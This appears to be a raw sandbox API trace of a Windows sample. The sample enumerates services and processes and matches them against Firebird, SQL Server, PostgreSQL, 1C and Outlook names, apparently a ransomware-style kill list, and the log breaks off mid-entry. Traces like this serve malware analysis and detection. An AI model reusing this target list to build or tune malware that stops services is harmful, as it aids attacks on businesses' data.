[0222.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0222.768] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0222.768] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0222.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0222.768] lstrlenW (lpString="MpsSvc") returned 6 [0222.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0222.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0222.768] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0222.768] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0222.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0222.768] lstrlenW (lpString="Netman") returned 6 [0222.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0222.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0222.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0222.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0222.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0222.768] lstrlenW (lpString="netprofm") returned 8 [0222.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0222.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0222.768] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0222.768] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0222.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0222.768] lstrlenW (lpString="NlaSvc") returned 6 [0222.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0222.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0222.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0222.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0222.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0222.768] lstrlenW (lpString="nsi") returned 3 [0222.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0222.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0222.768] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0222.768] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0222.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0222.768] lstrlenW (lpString="PcaSvc") returned 6 [0222.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0222.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0222.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0222.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0222.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0222.769] lstrlenW (lpString="PlugPlay") returned 8 [0222.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0222.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0222.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0222.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0222.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0222.769] lstrlenW (lpString="Power") returned 5 [0222.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0222.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0222.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0222.769] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0222.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0222.769] lstrlenW (lpString="ProfSvc") returned 7 [0222.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0222.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0222.769] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0222.769] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0222.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0222.769] lstrlenW (lpString="RpcEptMapper") returned 12 [0222.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.769] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0222.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0222.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0222.769] lstrlenW (lpString="RpcSs") returned 5 [0222.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0222.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0222.769] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0222.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0222.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0222.770] lstrlenW (lpString="SamSs") returned 5 [0222.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0222.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0222.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0222.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0222.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0222.770] lstrlenW (lpString="Schedule") returned 8 [0222.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0222.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0222.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0222.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0222.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0222.770] lstrlenW (lpString="SENS") returned 4 [0222.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0222.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0222.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0222.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0222.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0222.770] lstrlenW (lpString="ShellHWDetection") returned 16 [0222.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.770] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0222.770] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0222.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0222.770] lstrlenW (lpString="Spooler") returned 7 [0222.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0222.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0222.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0222.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0222.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0222.771] lstrlenW (lpString="sppsvc") returned 6 [0222.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0222.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0222.771] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0222.771] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0222.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0222.771] lstrlenW (lpString="swprv") returned 5 [0222.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0222.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0222.917] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0222.918] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0222.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0222.918] lstrlenW (lpString="SysMain") returned 7 [0222.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0222.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0222.918] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0222.918] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0222.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0222.918] lstrlenW (lpString="Themes") returned 6 [0222.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0222.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0222.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0222.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0222.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0222.918] lstrlenW (lpString="TrkWks") returned 6 [0222.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0222.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0222.918] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0222.918] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0222.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0222.918] lstrlenW (lpString="UxSms") returned 5 [0222.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0222.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0222.918] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0222.918] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0222.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0222.918] lstrlenW (lpString="VSS") returned 3 [0222.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0222.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0222.918] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0222.918] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0222.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0222.919] lstrlenW (lpString="WdiServiceHost") returned 14 [0222.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0222.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0222.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0222.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0222.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0222.919] lstrlenW (lpString="WdiSystemHost") returned 13 [0222.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0222.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0222.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0222.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0222.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0222.919] lstrlenW (lpString="WinDefend") returned 9 [0222.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0222.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0222.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0222.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0222.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0222.919] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0222.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0222.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0222.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0222.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0222.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0222.919] lstrlenW (lpString="Winmgmt") returned 7 [0222.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0222.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0222.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0222.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0222.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0222.919] lstrlenW (lpString="wscsvc") returned 6 [0222.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0222.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0222.919] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0222.920] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0222.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0222.920] lstrlenW (lpString="wuauserv") returned 8 [0222.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0222.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0222.920] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0222.920] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0222.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0222.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0222.920] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0222.922] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.922] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.923] lstrlenW (lpString="System") returned 6 [0222.924] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0222.924] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0222.924] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0222.924] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0222.924] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.925] lstrlenW (lpString="smss.exe") returned 8 [0222.925] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.925] lstrlenW (lpString="csrss.exe") returned 9 [0222.925] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.926] lstrlenW (lpString="wininit.exe") returned 11 [0222.926] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.927] lstrlenW (lpString="csrss.exe") returned 9 [0222.927] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.928] lstrlenW (lpString="winlogon.exe") returned 12 [0222.928] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.928] lstrlenW (lpString="services.exe") returned 12 [0222.929] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.929] lstrlenW (lpString="lsass.exe") returned 9 [0222.930] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0222.930] lstrlenW (lpString="lsm.exe") returned 7 [0222.930] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.931] lstrlenW (lpString="svchost.exe") returned 11 [0222.931] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.932] lstrlenW (lpString="svchost.exe") returned 11 [0222.932] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.932] lstrlenW (lpString="svchost.exe") returned 11 [0222.932] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.933] lstrlenW (lpString="svchost.exe") returned 11 [0222.933] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.934] lstrlenW (lpString="svchost.exe") returned 11 [0222.934] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.934] lstrlenW (lpString="audiodg.exe") returned 11 [0222.934] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.935] lstrlenW (lpString="svchost.exe") returned 11 [0222.935] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.936] lstrlenW (lpString="svchost.exe") returned 11 [0222.936] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.937] lstrlenW (lpString="dwm.exe") returned 7 [0222.937] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.938] lstrlenW (lpString="explorer.exe") returned 12 [0222.938] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.938] lstrlenW (lpString="spoolsv.exe") returned 11 [0222.938] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0222.939] lstrlenW (lpString="taskhost.exe") returned 12 [0222.939] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.940] lstrlenW (lpString="svchost.exe") returned 11 [0222.940] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0222.940] lstrlenW (lpString="taskeng.exe") returned 11 [0222.940] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0222.941] lstrlenW (lpString="taskhost.exe") returned 12 [0222.941] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0222.942] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0222.942] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0222.942] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0222.942] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0222.943] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0222.943] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0223.077] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0223.077] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0223.078] lstrlenW (lpString="always_winds.exe") returned 16 [0223.078] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0223.079] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0223.079] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, 